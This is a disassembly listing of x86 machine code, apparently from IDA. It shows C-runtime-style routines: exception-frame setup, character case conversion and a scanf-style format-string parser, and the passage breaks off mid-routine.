S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4189D0 proc near ; CODE XREF: sub_41428D+40p ; sub_418516+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_414579 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_418A0F mov ecx, 2 loc_418A0F: ; CODE XREF: sub_4189D0+38j push ecx call sub_414579 pop ebp pop ecx pop ebx leave retn 0Ch sub_4189D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A1C proc near ; CODE XREF: sub_41826A:loc_41840Cj ; sub_4185B4:loc_4185C5j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041BDFF SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F838 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_7422A8 test eax, eax jz short loc_418A64 mov [ebp+var_4], 1 call eax jmp short loc_418A60 ; --------------------------------------------------------------------------- loc_418A59: ; DATA XREF: zugr1819:0041F848o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418A5D: ; DATA XREF: zugr1819:0041F84Co mov esp, [ebp+var_18] loc_418A60: ; CODE XREF: sub_418A1C+3Bj and [ebp+var_4], 0 loc_418A64: ; CODE XREF: sub_418A1C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_418A6D: ; DATA XREF: zugr1819:0041F840o jmp loc_41BDFF sub_418A1C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A72 proc near ; CODE XREF: sub_41442F+23p ; sub_41442F:loc_41449Ap ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F850 push offset sub_41B124 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_437B14 test eax, eax jz short loc_418ABA mov [ebp+var_4], 1 call eax ; sub_418A1C jmp short loc_418AB6 ; --------------------------------------------------------------------------- loc_418AAF: ; DATA XREF: zugr1819:0041F860o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418AB3: ; DATA XREF: zugr1819:0041F864o mov esp, [ebp+var_18] loc_418AB6: ; CODE XREF: sub_418A72+3Bj and [ebp+var_4], 0 loc_418ABA: ; CODE XREF: sub_418A72+30j or [ebp+var_4], 0FFFFFFFFh call $+5 jmp sub_418A1C sub_418A72 endp ; =============== S U B R O U T I N E ======================================= sub_418AC8 proc near ; CODE XREF: sub_414913+7p ; sub_414913+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_416979 test eax, eax pop ecx jz short loc_418AE0 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_418AE0: ; CODE XREF: sub_418AC8+Ej push esi push 0 push dword_743880 call ds:off_41F180 pop esi retn sub_418AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418AF1 proc near ; CODE XREF: sub_414B02+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_7422B4, 0 push ebx jnz short loc_418B1C mov eax, [ebp+arg_0] cmp eax, 61h jl loc_418BBA cmp eax, 7Ah jg loc_418BBA sub eax, 20h jmp loc_418BBA ; --------------------------------------------------------------------------- loc_418B1C: ; CODE XREF: sub_418AF1+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_418B4F cmp dword_4379BC, 1 jle short loc_418B3C push 2 push ebx call sub_41686F pop ecx pop ecx jmp short loc_418B47 ; --------------------------------------------------------------------------- loc_418B3C: ; CODE XREF: sub_418AF1+3Dj mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, 2 loc_418B47: ; CODE XREF: sub_418AF1+49j test eax, eax jnz short loc_418B4F loc_418B4B: ; CODE XREF: sub_418AF1+AFj mov eax, ebx jmp short loc_418BBA ; --------------------------------------------------------------------------- loc_418B4F: ; CODE XREF: sub_418AF1+34j ; sub_418AF1+58j mov edx, off_4377B0 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_418B72 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_418B7B ; --------------------------------------------------------------------------- loc_418B72: ; CODE XREF: sub_418AF1+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_418B7B: ; CODE XREF: sub_418AF1+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_7422B4 call sub_419FC4 add esp, 20h test eax, eax jz short loc_418B4B cmp eax, 1 jnz short loc_418BAD movzx eax, [ebp+var_4] jmp short loc_418BBA ; --------------------------------------------------------------------------- loc_418BAD: ; CODE XREF: sub_418AF1+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_418BBA: ; CODE XREF: sub_418AF1+14j ; sub_418AF1+1Dj ... pop ebx leave retn sub_418AF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBD proc near ; CODE XREF: sub_414D21+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4195C3 mov edi, [ebp+arg_0] jmp short loc_418BEC ; --------------------------------------------------------------------------- loc_418BE7: ; CODE XREF: sub_418BBD+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_418BEC: ; CODE XREF: sub_418BBD+28j cmp dword_4379BC, 1 jle short loc_418C04 movzx eax, al push 8 push eax call sub_41686F pop ecx pop ecx jmp short loc_418C13 ; --------------------------------------------------------------------------- loc_418C04: ; CODE XREF: sub_418BBD+36j mov ecx, off_4377B0 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_418C13: ; CODE XREF: sub_418BBD+45j cmp eax, ebx jz short loc_418C4D dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41964A pop ecx pop ecx push eax call sub_419633 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41BEDE add esp, 0Ch loc_418C3B: ; CODE XREF: sub_418BBD+8Ej test eax, eax jz short loc_418C4D movzx eax, byte ptr [esi+1] inc esi push eax call sub_41BEDE pop ecx jmp short loc_418C3B ; --------------------------------------------------------------------------- loc_418C4D: ; CODE XREF: sub_418BBD+58j ; sub_418BBD+80j cmp byte ptr [esi], 25h jnz loc_41952F and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_418C84: ; CODE XREF: sub_418BBD+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_4379BC, 1 jle short loc_418CA1 movzx eax, bl push 4 push eax call sub_41686F pop ecx pop ecx jmp short loc_418CB0 ; --------------------------------------------------------------------------- loc_418CA1: ; CODE XREF: sub_418BBD+D3j mov ecx, off_4377B0 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_418CB0: ; CODE XREF: sub_418BBD+E2j test eax, eax jz short loc_418CC6 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_418D2B ; --------------------------------------------------------------------------- loc_418CC6: ; CODE XREF: sub_418BBD+F5j cmp ebx, 4Eh jg short loc_418D09 jz short loc_418D2B cmp ebx, 2Ah jz short loc_418D04 cmp ebx, 46h jz short loc_418D2B cmp ebx, 49h jz short loc_418CE6 cmp ebx, 4Ch jnz short loc_418D18 inc [ebp+var_D] jmp short loc_418D2B ; --------------------------------------------------------------------------- loc_418CE6: ; CODE XREF: sub_418BBD+11Dj cmp byte ptr [esi+1], 36h jnz short loc_418D18 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_418D18 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_418D2B ; --------------------------------------------------------------------------- loc_418D04: ; CODE XREF: sub_418BBD+113j inc [ebp+var_E] jmp short loc_418D2B ; --------------------------------------------------------------------------- loc_418D09: ; CODE XREF: sub_418BBD+10Cj cmp ebx, 68h jz short loc_418D25 cmp ebx, 6Ch jz short loc_418D1D cmp ebx, 77h jz short loc_418D20 loc_418D18: ; CODE XREF: sub_418BBD+122j ; sub_418BBD+12Dj ... inc [ebp+var_F] jmp short loc_418D2B ; --------------------------------------------------------------------------- loc_418D1D: ; CODE XREF: sub_418BBD+154j inc [ebp+var_D] loc_418D20: ; CODE XREF: sub_418BBD+159j inc [ebp+var_5] jmp short loc_418D2B ; --------------------------------------------------------------------------- loc_418D25: ; CODE XREF: sub_418BBD+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_418D2B: ; CODE XREF: sub_418BBD+107j ; sub_418BBD+10Ej ... cmp [ebp+var_F], 0 jz loc_418C84 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_418D50 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_418D50: ; CODE XREF: sub_418BBD+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_418D6E mov al, [esi] cmp al, 53h jz short loc_418D6A cmp al, 43h jz short loc_418D6A or [ebp+var_5], 0FFh jmp short loc_418D6E ; --------------------------------------------------------------------------- loc_418D6A: ; CODE XREF: sub_418BBD+1A1j ; sub_418BBD+1A5j mov [ebp+var_5], 1 loc_418D6E: ; CODE XREF: sub_418BBD+19Bj ; sub_418BBD+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_418DA7 cmp esi, 63h jz short loc_418D98 cmp esi, 7Bh jz short loc_418D98 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41964A pop ecx jmp short loc_418DA3 ; --------------------------------------------------------------------------- loc_418D98: ; CODE XREF: sub_418BBD+1C5j ; sub_418BBD+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_419619 loc_418DA3: ; CODE XREF: sub_418BBD+1D9j pop ecx mov [ebp+var_14], eax loc_418DA7: ; CODE XREF: sub_418BBD+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_418DB7 cmp [ebp+var_C], eax jz loc_419593 loc_418DB7: ; CODE XREF: sub_418BBD+1EFj cmp esi, 6Fh jg loc_41901E jz loc_4192D0 cmp esi, 63h jz loc_418FFB cmp esi, 64h jz loc_4192D0 jle loc_419048 cmp esi, 67h jle short loc_418E1B cmp esi, 69h jz short loc_418E03 cmp esi, 6Eh jnz loc_419048 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4194FE jmp loc_419524 ; --------------------------------------------------------------------------- loc_418E03: ; CODE XREF: sub_418BBD+229j push 64h pop esi loc_418E06: ; CODE XREF: sub_418BBD+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_419090 mov [ebp+var_17], 1 jmp loc_419095 ; --------------------------------------------------------------------------- loc_418E1B: ; CODE XREF: sub_418BBD+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_418E37 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_418E3C ; --------------------------------------------------------------------------- loc_418E37: ; CODE XREF: sub_418BBD+26Aj cmp ebx, 2Bh jnz short loc_418E53 loc_418E3C: ; CODE XREF: sub_418BBD+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_419619 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_418E56 ; --------------------------------------------------------------------------- loc_418E53: ; CODE XREF: sub_418BBD+27Dj mov edi, [ebp+arg_0] loc_418E56: ; CODE XREF: sub_418BBD+294j cmp [ebp+var_20], 0 jz short loc_418E65 cmp [ebp+var_C], 15Dh jle short loc_418E6C loc_418E65: ; CODE XREF: sub_418BBD+29Dj mov [ebp+var_C], 15Dh loc_418E6C: ; CODE XREF: sub_418BBD+2A6j ; sub_418BBD+2F2j cmp dword_4379BC, 1 jle short loc_418E81 push 4 push ebx call sub_41686F pop ecx pop ecx jmp short loc_418E8C ; --------------------------------------------------------------------------- loc_418E81: ; CODE XREF: sub_418BBD+2B6j mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, 4 loc_418E8C: ; CODE XREF: sub_418BBD+2C2j test eax, eax jz short loc_418EB1 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_418EB1 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_419619 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_418E6C ; --------------------------------------------------------------------------- loc_418EB1: ; CODE XREF: sub_418BBD+2D1j ; sub_418BBD+2DBj cmp byte_4379C0, bl jnz short loc_418F1F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_418F1F inc [ebp+var_4] push edi call sub_419619 mov ebx, eax mov al, byte_4379C0 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_418EDA: ; CODE XREF: sub_418BBD+360j cmp dword_4379BC, 1 jle short loc_418EEF push 4 push ebx call sub_41686F pop ecx pop ecx jmp short loc_418EFA ; --------------------------------------------------------------------------- loc_418EEF: ; CODE XREF: sub_418BBD+324j mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, 4 loc_418EFA: ; CODE XREF: sub_418BBD+330j test eax, eax jz short loc_418F1F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_418F1F inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_419619 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_418EDA ; --------------------------------------------------------------------------- loc_418F1F: ; CODE XREF: sub_418BBD+2FAj ; sub_418BBD+304j ... cmp [ebp+var_1C], 0 jz loc_418FB7 cmp ebx, 65h jz short loc_418F37 cmp ebx, 45h jnz loc_418FB7 loc_418F37: ; CODE XREF: sub_418BBD+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_418FB7 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_419619 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_418F5E mov [esi], al inc esi jmp short loc_418F63 ; --------------------------------------------------------------------------- loc_418F5E: ; CODE XREF: sub_418BBD+39Aj cmp ebx, 2Bh jnz short loc_418F81 loc_418F63: ; CODE XREF: sub_418BBD+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_418F72 and [ebp+var_C], eax jmp short loc_418F81 ; --------------------------------------------------------------------------- loc_418F72: ; CODE XREF: sub_418BBD+3AEj ; sub_418BBD+3F8j inc [ebp+var_4] push edi call sub_419619 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_418F81: ; CODE XREF: sub_418BBD+3A4j ; sub_418BBD+3B3j cmp dword_4379BC, 1 jle short loc_418F96 push 4 push ebx call sub_41686F pop ecx pop ecx jmp short loc_418FA1 ; --------------------------------------------------------------------------- loc_418F96: ; CODE XREF: sub_418BBD+3CBj mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, 4 loc_418FA1: ; CODE XREF: sub_418BBD+3D7j test eax, eax jz short loc_418FB7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_418FB7 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_418F72 ; --------------------------------------------------------------------------- loc_418FB7: ; CODE XREF: sub_418BBD+366j ; sub_418BBD+374j ... dec [ebp+var_4] push edi push ebx call sub_419633 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4195C3 cmp [ebp+var_E], 0 jnz loc_419524 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_437AF0 add esp, 0Ch jmp loc_419524 ; --------------------------------------------------------------------------- loc_418FFB: ; CODE XREF: sub_418BBD+20Cj cmp [ebp+var_20], eax jnz short loc_41900A inc [ebp+var_C] mov [ebp+var_20], 1 loc_41900A: ; CODE XREF: sub_418BBD+441j cmp [ebp+var_5], 0 jle short loc_419014 mov [ebp+var_16], 1 loc_419014: ; CODE XREF: sub_418BBD+451j mov edi, offset asc_437B20 ; "]" jmp loc_419129 ; --------------------------------------------------------------------------- loc_41901E: ; CODE XREF: sub_418BBD+1FDj mov eax, esi sub eax, 70h jz loc_4192CC sub eax, 3 jz loc_41911A dec eax dec eax jz loc_4192D0 sub eax, 3 jz loc_418E06 sub eax, 3 jz short loc_41906C loc_419048: ; CODE XREF: sub_418BBD+21Bj ; sub_418BBD+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_419593 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_419524 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_419524 ; --------------------------------------------------------------------------- loc_41906C: ; CODE XREF: sub_418BBD+489j cmp [ebp+var_5], 0 jle short loc_419076 mov [ebp+var_16], 1 loc_419076: ; CODE XREF: sub_418BBD+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41912D mov eax, edi lea edi, [eax+1] jmp loc_419129 ; --------------------------------------------------------------------------- loc_419090: ; CODE XREF: sub_418BBD+24Fj cmp ebx, 2Bh jnz short loc_4190B7 loc_419095: ; CODE XREF: sub_418BBD+259j dec [ebp+var_C] jnz short loc_4190A6 cmp [ebp+var_20], 0 jz short loc_4190A6 mov [ebp+var_F], 1 jmp short loc_4190B7 ; --------------------------------------------------------------------------- loc_4190A6: ; CODE XREF: sub_418BBD+4DBj ; sub_418BBD+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_419619 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4190B7: ; CODE XREF: sub_418BBD+4D6j ; sub_418BBD+4E7j cmp ebx, 30h jnz loc_419305 push [ebp+arg_0] inc [ebp+var_4] call sub_419619 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_419105 cmp bl, 58h jz short loc_419105 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4190EF push 6Fh loc_4190E9: ; CODE XREF: sub_418BBD+55Bj pop esi jmp loc_419305 ; --------------------------------------------------------------------------- loc_4190EF: ; CODE XREF: sub_418BBD+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_419633 pop ecx pop ecx push 30h pop ebx jmp loc_419302 ; --------------------------------------------------------------------------- loc_419105: ; CODE XREF: sub_418BBD+517j ; sub_418BBD+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_419619 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4190E9 ; --------------------------------------------------------------------------- loc_41911A: ; CODE XREF: sub_418BBD+46Fj cmp [ebp+var_5], 0 jle short loc_419124 mov [ebp+var_16], 1 loc_419124: ; CODE XREF: sub_418BBD+561j mov edi, offset asc_437B18 ; " \t-\r]" loc_419129: ; CODE XREF: sub_418BBD+45Cj ; sub_418BBD+4CEj or [ebp+var_18], 0FFh loc_41912D: ; CODE XREF: sub_418BBD+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_413890 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_419151 cmp byte ptr [edi], 5Dh jnz short loc_419151 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_419154 ; --------------------------------------------------------------------------- loc_419151: ; CODE XREF: sub_418BBD+584j ; sub_418BBD+589j mov dl, [ebp+var_35] loc_419154: ; CODE XREF: sub_418BBD+592j ; sub_418BBD+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4191B9 inc edi cmp al, 2Dh jnz short loc_4191A0 test dl, dl jz short loc_4191A0 mov cl, [edi] cmp cl, 5Dh jz short loc_4191A0 inc edi cmp dl, cl jnb short loc_419173 mov al, cl jmp short loc_419177 ; --------------------------------------------------------------------------- loc_419173: ; CODE XREF: sub_418BBD+5B0j mov al, dl mov dl, cl loc_419177: ; CODE XREF: sub_418BBD+5B4j cmp dl, al ja short loc_41919C movzx edx, dl movzx esi, al sub esi, edx inc esi loc_419184: ; CODE XREF: sub_418BBD+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_419184 loc_41919C: ; CODE XREF: sub_418BBD+5BCj xor dl, dl jmp short loc_419154 ; --------------------------------------------------------------------------- loc_4191A0: ; CODE XREF: sub_418BBD+5A0j ; sub_418BBD+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_419154 ; --------------------------------------------------------------------------- loc_4191B9: ; CODE XREF: sub_418BBD+59Bj cmp byte ptr [edi], 0 jz loc_4195C3 cmp [ebp+var_3C], 7Bh jnz short loc_4191CB mov [ebp+arg_4], edi loc_4191CB: ; CODE XREF: sub_418BBD+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_419633 pop ecx pop ecx loc_4191E2: ; CODE XREF: sub_418BBD+6BCj ; sub_418BBD+6C4j cmp [ebp+var_20], 0 jz short loc_4191F6 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_419292 loc_4191F6: ; CODE XREF: sub_418BBD+629j inc [ebp+var_4] push edi call sub_419619 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_419286 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_419286 cmp [ebp+var_E], 0 jnz short loc_41927E cmp [ebp+var_16], 0 jz short loc_419273 mov ecx, off_4377B0 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_419252 inc [ebp+var_4] push edi call sub_419619 pop ecx mov [ebp+var_37], al loc_419252: ; CODE XREF: sub_418BBD+686j push dword_4379BC lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41BE16 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_419276 ; --------------------------------------------------------------------------- loc_419273: ; CODE XREF: sub_418BBD+673j mov [esi], al inc esi loc_419276: ; CODE XREF: sub_418BBD+6B4j mov [ebp+var_2C], esi jmp loc_4191E2 ; --------------------------------------------------------------------------- loc_41927E: ; CODE XREF: sub_418BBD+66Dj inc [ebp+var_30] jmp loc_4191E2 ; --------------------------------------------------------------------------- loc_419286: ; CODE XREF: sub_418BBD+649j ; sub_418BBD+667j dec [ebp+var_4] push edi push eax call sub_419633 pop ecx pop ecx loc_419292: ; CODE XREF: sub_418BBD+633j cmp [ebp+var_30], esi jz loc_4195C3 cmp [ebp+var_E], 0 jnz loc_419524 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_419524 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4192C4 and word ptr [eax], 0 jmp loc_419524 ; --------------------------------------------------------------------------- loc_4192C4: ; CODE XREF: sub_418BBD+6FCj and byte ptr [eax], 0 jmp loc_419524 ; --------------------------------------------------------------------------- loc_4192CC: ; CODE XREF: sub_418BBD+466j mov [ebp+var_D], 1 loc_4192D0: ; CODE XREF: sub_418BBD+203j ; sub_418BBD+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4192DE mov [ebp+var_17], 1 jmp short loc_4192E3 ; --------------------------------------------------------------------------- loc_4192DE: ; CODE XREF: sub_418BBD+719j cmp ebx, 2Bh jnz short loc_419305 loc_4192E3: ; CODE XREF: sub_418BBD+71Fj dec [ebp+var_C] jnz short loc_4192F4 cmp [ebp+var_20], 0 jz short loc_4192F4 mov [ebp+var_F], 1 jmp short loc_419305 ; --------------------------------------------------------------------------- loc_4192F4: ; CODE XREF: sub_418BBD+729j ; sub_418BBD+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_419619 pop ecx mov ebx, eax loc_419302: ; CODE XREF: sub_418BBD+543j mov [ebp+var_14], ebx loc_419305: ; CODE XREF: sub_418BBD+4FDj ; sub_418BBD+52Dj ... cmp [ebp+var_30], 0 jz loc_41941E cmp [ebp+var_F], 0 jnz loc_4193FC loc_419319: ; CODE XREF: sub_418BBD+82Cj cmp esi, 78h jnz short loc_41936D cmp dword_4379BC, 1 jle short loc_419336 push 80h push ebx call sub_41686F pop ecx pop ecx jmp short loc_419343 ; --------------------------------------------------------------------------- loc_419336: ; CODE XREF: sub_418BBD+768j mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, 80h loc_419343: ; CODE XREF: sub_418BBD+777j test eax, eax jz loc_4193EE mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41BF10 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4195E2 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4193C0 ; --------------------------------------------------------------------------- loc_41936D: ; CODE XREF: sub_418BBD+75Fj cmp dword_4379BC, 1 jle short loc_419382 push 4 push ebx call sub_41686F pop ecx pop ecx jmp short loc_41938D ; --------------------------------------------------------------------------- loc_419382: ; CODE XREF: sub_418BBD+7B7j mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, 4 loc_41938D: ; CODE XREF: sub_418BBD+7C3j test eax, eax jz short loc_4193EE cmp esi, 6Fh jnz short loc_4193AB cmp ebx, 38h jge short loc_4193EE mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41BF10 jmp short loc_4193BA ; --------------------------------------------------------------------------- loc_4193AB: ; CODE XREF: sub_418BBD+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_413CC0 loc_4193BA: ; CODE XREF: sub_418BBD+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4193C0: ; CODE XREF: sub_418BBD+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4193D8 dec [ebp+var_C] jz short loc_4193FC loc_4193D8: ; CODE XREF: sub_418BBD+814j push [ebp+arg_0] inc [ebp+var_4] call sub_419619 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_419319 ; --------------------------------------------------------------------------- loc_4193EE: ; CODE XREF: sub_418BBD+788j ; sub_418BBD+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_419633 pop ecx pop ecx loc_4193FC: ; CODE XREF: sub_418BBD+756j ; sub_418BBD+819j cmp [ebp+var_17], 0 jz loc_4194E2 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4194E2 ; --------------------------------------------------------------------------- loc_41941E: ; CODE XREF: sub_418BBD+74Cj cmp [ebp+var_F], 0 jnz loc_4194DA loc_419428: ; CODE XREF: sub_418BBD+90Aj cmp esi, 78h jz short loc_41946C cmp esi, 70h jz short loc_41946C cmp dword_4379BC, 1 jle short loc_419447 push 4 push ebx call sub_41686F pop ecx pop ecx jmp short loc_419452 ; --------------------------------------------------------------------------- loc_419447: ; CODE XREF: sub_418BBD+87Cj mov eax, off_4377B0 mov al, [eax+ebx*2] and eax, 4 loc_419452: ; CODE XREF: sub_418BBD+888j test eax, eax jz short loc_4194CC cmp esi, 6Fh jnz short loc_419465 cmp ebx, 38h jge short loc_4194CC shl edi, 3 jmp short loc_4194A4 ; --------------------------------------------------------------------------- loc_419465: ; CODE XREF: 